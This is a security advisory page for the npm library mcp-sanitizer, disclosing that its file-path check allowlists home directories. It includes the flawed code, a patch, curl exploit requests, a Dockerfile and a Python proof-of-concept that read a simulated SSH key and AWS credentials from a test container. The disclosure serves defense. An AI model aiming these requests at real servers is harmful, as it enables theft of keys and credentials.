Skip to main content
← All vulnerabilities
GHSA-7W82-6F9J-V9JP

mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

Published
Last modified
published
Not listed in CISA KEV
High (ghsa)
Fix
Fixed in 1.4.0
None on Exploit-DB, Metasploit or GitHub

Summary

mcp-sanitizer (version 1.3.3 and earlier-affected builds per the report) is a file path validation library whose sanitizer allows absolute paths under user home directories, so sensitive files such as SSH keys and cloud credentials can pass validation. Applications that rely on its output to read or write files may therefore expose arbitrary user-home files to unauthenticated remote attackers.

Summarized by anthropic/claude-haiku-5.5. Verify details against the original sources.

Read the original description

File Path Sanitizer Permits Arbitrary User-Home Absolute Paths Summary `mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request. Details The vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist: ```js // src/utils/validation-utils.js:188-196 if (!isInSafeLocation && path.isAbsolute(normalizedPath)) { const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; const isAllowedAbsolute = allowedAbsolutePaths.some(allowed => normalizedPath.toLowerCase().startsWith(allowed.toLowerCase()) ); if (!isAllowedAbsolute) { throw new Error('Absolute path not in allowed safe directory'); } } ``` Because `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged. The dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked. The full data flow from a network request to the vulnerable return value is: 1. `src/middleware/express.js:538-541` — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`. 2. `src/sanitizer/mcp-sanitizer.js:523-524` — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called. 3. `src/sanitizer/mcp-sanitizer.js:683-687` — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value. 4. `src/utils/validation-utils.js:188-196` — The `/home/` prefix check passes without error. 5. `src/utils/validation-utils.js:200-201` — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value. A consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon. Suggested patch: ```diff --- a/src/utils/validation-utils.js +++ b/src/utils/validation-utils.js @@ const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/']; • const sensitiveHomeFragments = [ • '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/', • '/.npmrc', '/.env' • ]; @@ • const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase(); • if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) { • throw new Error('Access to sensitive user configuration path not allowed'); • } @@ • const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/']; • const allowedAbsolutePaths = ['/tmp/', '/var/tmp/']; ``` PoC Environment requirements: Docker, Python 3, Node.js 20 Step 1 — Build and start the reproduction container: ```bash From the vuln-002/ directory python3 poc.py ``` The script automatically: 1. Copies the `mcp-sanitizer` source into a Docker build context. 2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container. 3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path. 4. Sends the three test requests described below. Step 2 — Manual HTTP requests (after the container is running on port 13572): Control test — must be blocked: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}' Expected: {"blocked": true} ``` Exploit test 1 — SSH private key exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}' Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."} ``` Exploit test 2 — AWS credentials exfiltration: ```bash curl -s -X POST http://127.0.0.1:13572/tool \ -H 'Content-Type: application/json' \ -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}' Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."} ``` Observed results (Phase 2 dynamic reproduction): ``` [Test 1 — Control] POST /tool {file_path: '/etc/passwd'} => blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/) [Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'} => blocked=false, EXPLOIT_SUCCESS=true sanitized_path: /home/victim/.ssh/id_rsa file_content: -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002 -----END RSA PRIVATE KEY----- [Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'} => blocked=false, EXPLOIT_SUCCESS=true file_content: [default] aws_access_key_id = AKIAIOSFODNN7EXAMPLE aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY region = us-east-1 ``` Root cause confirmed: `validation-utils.js:190` — `allowedAbsolutePaths` includes `'/home/'` and `'/Users/'`; any absolute path starting with `/home/` passes with `blocked=false`. Impact This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability. Any application that integrates `mcp-sanitizer` to validate file paths for MCP `file_reader` or `file_writer` tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under `/home/` or `/Users/` — requiring no authentication, no special privileges, and no interaction from a legitimate user. Sensitive targets include but are not limited to: • SSH private keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`) • Cloud provider credentials (`~/.aws/credentials`, `~/.config/gcloud/credentials.db`) • Kubernetes config (`~/.kube/config`) • GPG keys (`~/.gnupg/`) • Application tokens (`~/.npmrc`, `~/.netrc`, `~/.env`) The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files. Reproduction artifacts `Dockerfile` ```dockerfile VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass Builds a Node 20 container with: • mcp-sanitizer source from the local repo • Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/ • A consumer HTTP server that trusts the sanitizer FROM node:20-slim LABEL vuln="VULN-002" \ cwe="CWE-22" \ title="mcp-sanitizer home-directory path bypass" Install mcp-sanitizer production dependencies WORKDIR /app/repo COPY repo/package.json repo/package-lock.json ./ RUN npm ci --omit=dev --no-audit --no-fund Copy mcp-sanitizer source code COPY repo/src ./src Create simulated victim home directory with sensitive files These represent secrets a real attacker would target RUN mkdir -p /home/victim/.ssh /home/victim/.aws RUN echo '-----BEGIN RSA PRIVATE KEY-----' > /home/victim/.ssh/id_rsa && \ echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK' >> /home/victim/.ssh/id_rsa && \ echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002' >> /home/victim/.ssh/id_rsa && \ echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS' >> /home/victim/.ssh/id_rsa && \ echo '-----END RSA PRIVATE KEY-----' >> /home/victim/.ssh/id_rsa && \ chmod 600 /home/victim/.ssh/id_rsa RUN echo '[default]' > /home/victim/.aws/credentials && \ echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' >> /home/victim/.aws/credentials && \ echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \ echo 'region = us-east-1' >> /home/victim/.aws/credentials && \ chmod 600 /home/victim/.aws/credentials Copy the consumer server application WORKDIR /app COPY server.js ./server.js EXPOSE 3000 CMD ["node", "server.js"] ``` `poc.py` ```python #!/usr/bin/env python3 """ VULN-002 Dynamic Reproduction PoC mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22) Vulnerability: src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/' as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes sanitizer.sanitize(path, {type: 'file_path'}) with blocked=false, and the consumer app reads the file using the trusted sanitized path. Attack chain: 1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa 2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/id_rsa'} 3. Consumer app calls fs.readFile(sanitized_path) — trusting the sanitizer 4. SSH private key contents returned in HTTP response (exfiltrated) Usage: python3 poc.py """ import json import os import shutil import subprocess import sys import tempfile import time import urllib.request import urllib.error Paths SCRIPT_DIR = os.path.dirname(os.path.abspath(file)) REPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "repo")) PHASE2_RESULT = os.path.join(SCRIPT_DIR, "phase2_result.json") Docker settings IMAGE_NAME = "vuln002-mcp-sanitizer-poc" CONTAINER_NAME = "vuln002-poc-container" HOST_PORT = 13572 # High port to avoid conflicts BASE_URL = f"http://127.0.0.1:{HOST_PORT}" TOOL_URL = f"{BASE_URL}/tool" HEALTH_URL = f"{BASE_URL}/health" def log(msg): print(f"[poc] {msg}", flush=True) def save_result(passed, verdict, reason, evidence, build_cmd, run_cmd): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": build_cmd, "run_command": run_cmd, "poc_command": "python3 poc.py", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "server.js"] } with open(PHASE2_RESULT, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensure_ascii=False) log(f"Saved phase2_result.json (verdict={verdict})") def run(cmd, timeout=300, capture=True): """Run a subprocess command and return (returncode, stdout, stderr).""" result = subprocess.run( cmd, capture_output=capture, text=True, timeout=timeout ) return result.returncode, result.stdout, result.stderr def stop_container(): subprocess.run( ["docker", "rm", "-f", CONTAINER_NAME], capture_output=True, timeout=15 ) def http_post(url, payload, timeout=8): data = json.dumps(payload).encode("utf-8") req = urllib.request.Request( url, data=data, headers={"Content-Type": "application/json"}, method="POST" ) with urllib.request.urlopen(req, timeout=timeout) as resp: return json.loads(resp.read().decode("utf-8")) def http_get(url, timeout=5): with urllib.request.urlopen(url, timeout=timeout) as resp: return json.loads(resp.read().decode("utf-8")) def wait_for_server(max_wait=40): log(f"Polling {HEALTH_URL} until ready (max {max_wait}s)...") deadline = time.monotonic() + max_wait while time.monotonic() < deadline: try: resp = http_get(HEALTH_URL) if resp.get("ok"): log("Server is up and responding.") return True except Exception: pass time.sleep(0.6) return False def prepare_build_context(): """ Create a temporary Docker build context containing: build_ctx/ Dockerfile server.js repo/ package.json package-lock.json src/ """ build_ctx = tempfile.mkdtemp(prefix="vuln002-ctx-") log(f"Build context directory: {build_ctx}") Copy Dockerfile and server.js from this script's directory for fname in ("Dockerfile", "server.js"): src = os.path.join(SCRIPT_DIR, fname) dst = os.path.join(build_ctx, fname) shutil.copy2(src, dst) log(f" Copied {fname}") Copy only the necessary repo files (skip node_modules to keep context small) repo_dst = os.path.join(build_ctx, "repo") os.makedirs(repo_dst) shutil.copy2(os.path.join(REPO_DIR, "package.json"), repo_dst) shutil.copy2(os.path.join(REPO_DIR, "package-lock.json"), repo_dst) shutil.copytree( os.path.join(REPO_DIR, "src"), os.path.join(repo_dst, "src") ) log(f" Copied repo/src and package files") return build_ctx def main(): log("=" * 60) log("VULN-002 Dynamic Reproduction — mcp-sanitizer /home/* bypass") log("=" * 60) Validate prerequisites if not os.path.isdir(REPO_DIR): log(f"ERROR: Repo not found at {REPO_DIR}") save_result(False, "FAIL", f"재현 전제조건 미충족: repo 디렉터리({REPO_DIR})가 존재하지 않음.", "", "", "") return 1 rc, , = run(["docker", "info"], timeout=10) if rc != 0: log("ERROR: Docker daemon is not accessible.") save_result(False, "FAIL", "Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.", "", "", "") return 1 Clean up any leftover container from a previous run stop_container() build_ctx = None try: Step 1: Prepare build context build_ctx = prepare_build_context() Step 2: Build Docker image build_cmd = f"docker build -t {IMAGE_NAME} {build_ctx}" log(f"Building Docker image: {build_cmd}") rc, stdout, stderr = run( ["docker", "build", "-t", IMAGE_NAME, build_ctx], timeout=300 ) if rc != 0: err_tail = (stdout + stderr)[-600:] log(f"Docker build FAILED (rc={rc}):\n{err_tail}") save_result(False, "FAIL", f"Docker 이미지 빌드 실패 (exit code {rc}). " f"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. " f"마지막 출력: {err_tail[-200:]}", err_tail, build_cmd, f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}") return 1 log("Docker image built successfully.") Step 3: Run container in detached mode run_cmd = f"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}" log(f"Starting container: {run_cmd}") rc, stdout, stderr = run( ["docker", "run", "--rm", "--name", CONTAINER_NAME, "-p", f"{HOST_PORT}:3000", "-d", IMAGE_NAME], timeout=30 ) if rc != 0: log(f"docker run FAILED:\n{stderr}") save_result(False, "FAIL", f"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}", stderr[-300:], build_cmd, run_cmd) return 1 container_id = stdout.strip() log(f"Container started: {container_id[:12]}") Step 4: Wait for HTTP server inside container if not wait_for_server(): Collect container logs for diagnosis , clog, = run(["docker", "logs", CONTAINER_NAME], timeout=10) log(f"Container logs:\n{clog}") save_result(False, "FAIL", f"서버가 {HOST_PORT} 포트에서 제한 시간 내 응답하지 않음. " f"컨테이너 로그: {clog[-300:]}", clog[-300:], build_cmd, run_cmd) stop_container() return 1 ---------------------------------------------------------------- Step 5: Test 1 — Control: /etc/passwd must be BLOCKED ---------------------------------------------------------------- log("-" * 50) log("TEST 1 (control): file_path=/etc/passwd [expected: blocked=true]") try: r_ctrl = http_post(TOOL_URL, { "tool_name": "file_reader", "parameters": {"file_path": "/etc/passwd"} }) except Exception as exc: r_ctrl = {"_request_error": str(exc)} log(f" Response: {json.dumps(r_ctrl)[:300]}") ctrl_blocked = r_ctrl.get("blocked", False) ---------------------------------------------------------------- Step 6: Test 2 — Exploit: /home/victim/.ssh/id_rsa must PASS ---------------------------------------------------------------- log("-" * 50) log("TEST 2 (exploit): file_path=/home/victim/.ssh/id_rsa [expected: blocked=false + file content]") try: r_ssh = http_post(TOOL_URL, { "tool_name": "file_reader", "parameters": {"file_path": "/home/victim/.ssh/id_rsa"} }) except Exception as exc: r_ssh = {"_request_error": str(exc)} log(f" Response: {json.dumps(r_ssh)[:400]}") ---------------------------------------------------------------- Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS ---------------------------------------------------------------- log("-" * 50) log("TEST 3 (exploit): file_path=/home/victim/.aws/credentials [expected: blocked=false + AWS creds]") try: r_aws = http_post(TOOL_URL, { "tool_name": "file_reader", "parameters": {"file_path": "/home/victim/.aws/credentials"} }) except Exception as exc: r_aws = {"_request_error": str(exc)} log(f" Response: {json.dumps(r_aws)[:400]}") ---------------------------------------------------------------- Step 8: Evaluate results ---------------------------------------------------------------- log("-" * 50) log("Evaluating results...") ssh_bypassed = ( not r_ssh.get("blocked", True) and r_ssh.get("EXPLOIT_SUCCESS") is True and "id_rsa" in r_ssh.get("sanitized_path", "") and bool(r_ssh.get("file_content")) and "RSA" in r_ssh.get("file_content", "") ) aws_bypassed = ( not r_aws.get("blocked", True) and r_aws.get("EXPLOIT_SUCCESS") is True and "credentials" in r_aws.get("sanitized_path", "") and bool(r_aws.get("file_content")) and "aws_access_key_id" in r_aws.get("file_content", "") ) log(f" [control] /etc/passwd blocked={ctrl_blocked}") log(f" [exploit] SSH key bypass={ssh_bypassed}") log(f" [exploit] AWS creds bypass={aws_bypassed}") PASS requires: control is blocked AND at least SSH bypass confirmed if ctrl_blocked and ssh_bypassed: ssh_content = r_ssh.get("file_content", "") aws_content = r_aws.get("file_content", "") evidence = ( f"[Test 1 — Control] POST /tool {{file_path: '/etc/passwd'}} " f"=> blocked=true (dangerousUnixPaths가 /etc/를 올바르게 차단)\n\n" f"[Test 2 — Exploit] POST /tool {{file_path: '/home/victim/.ssh/id_rsa'}} " f"=> blocked=false, EXPLOIT_SUCCESS=true\n" f" sanitized_path: {r_ssh.get('sanitized_path')}\n" f" file_content (truncated):\n" f" {ssh_content[:300]}\n\n" f"[Test 3 — Exploit] POST /tool {{file_path: '/home/victim/.aws/credentials'}} " f"=> blocked={r_aws.get('blocked', True)}, " f"EXPLOIT_SUCCESS={r_aws.get('EXPLOIT_SUCCESS')}\n" f" file_content: {aws_content[:200]}\n\n" f"[Root Cause] validation-utils.js:190 — " f"allowedAbsolutePaths includes '/home/' and '/Users/': " f"any absolute path starting with /home/ passes with blocked=false." ) reason = ( "/home/ prefix가 allowedAbsolutePaths 화이트리스트에 포함되어 있어 " "/home/victim/.ssh/id_rsa 경로가 sanitizer.sanitize()에서 blocked=false로 반환됨. " "소비 앱이 해당 경로로 fs.readFile을 호출하여 SSH 개인키 내용이 HTTP 응답으로 유출됨. " "CWE-22 경로 제한 우회 취약점 동적 재현 완료 (컨테이너 내 관측 가능한 파일 유출 확인)." ) save_result( True, "PASS", reason, evidence, f"docker build -t {IMAGE_NAME} <build_ctx>", f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}" ) log("=== FINAL VERDICT: PASS ===") return 0 else: Record failure details evidence = ( f"[Test 1] ctrl response: {json.dumps(r_ctrl)[:300]}\n" f"[Test 2] ssh response: {json.dumps(r_ssh)[:300]}\n" f"[Test 3] aws response: {json.dumps(r_aws)[:300]}\n" f"ctrl_blocked={ctrl_blocked}, ssh_bypassed={ssh_bypassed}, aws_bypassed={aws_bypassed}" ) if not ctrl_blocked: Unexpected: /etc/passwd should be blocked reason = ( "/etc/passwd 경로가 예상과 달리 차단되지 않았음. " "서버 초기화 오류 또는 취약점 패치 가능성. 서버 로그를 확인하시오." ) else: reason = ( f"/home/victim/.ssh/id_rsa bypass 미확인 (ssh_bypassed={ssh_bypassed}). " f"응답: {json.dumps(r_ssh)[:200]}. " "서버 응답 구조 또는 파일 생성 확인 필요. " "container 내 /home/victim/.ssh/id_rsa 파일 존재 여부를 " "'docker exec <container> cat /home/victim/.ssh/id_rsa'로 확인하시오." ) save_result(False, "FAIL", reason, evidence, f"docker build -t {IMAGE_NAME} <build_ctx>", f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}") log("=== FINAL VERDICT: FAIL ===") return 1 except KeyboardInterrupt: log("Interrupted by user.") return 1 except Exception as exc: import traceback tb = traceback.format_exc() log(f"Unexpected error: {exc}\n{tb}") save_result(False, "INCOMPLETE", f"예상치 못한 오류 발생: {exc}. " "traceback을 확인하고 Docker 환경 및 repo 경로를 점검하시오.", tb[-600:], "", "") return 1 finally: stop_container() if build_ctx and os.path.isdir(build_ctx): shutil.rmtree(build_ctx, ignore_errors=True) log(f"Cleaned up build context: {build_ctx}") if name == "main": sys.exit(main()) ```

Timeline

  1. Advisory published
  2. Record last updated
  3. First seen by cve.now

Affected versions

  • mcp-sanitizernpm

    fixed in 1.4.0

References 4

GitHub · starman69/mcp-sanitizer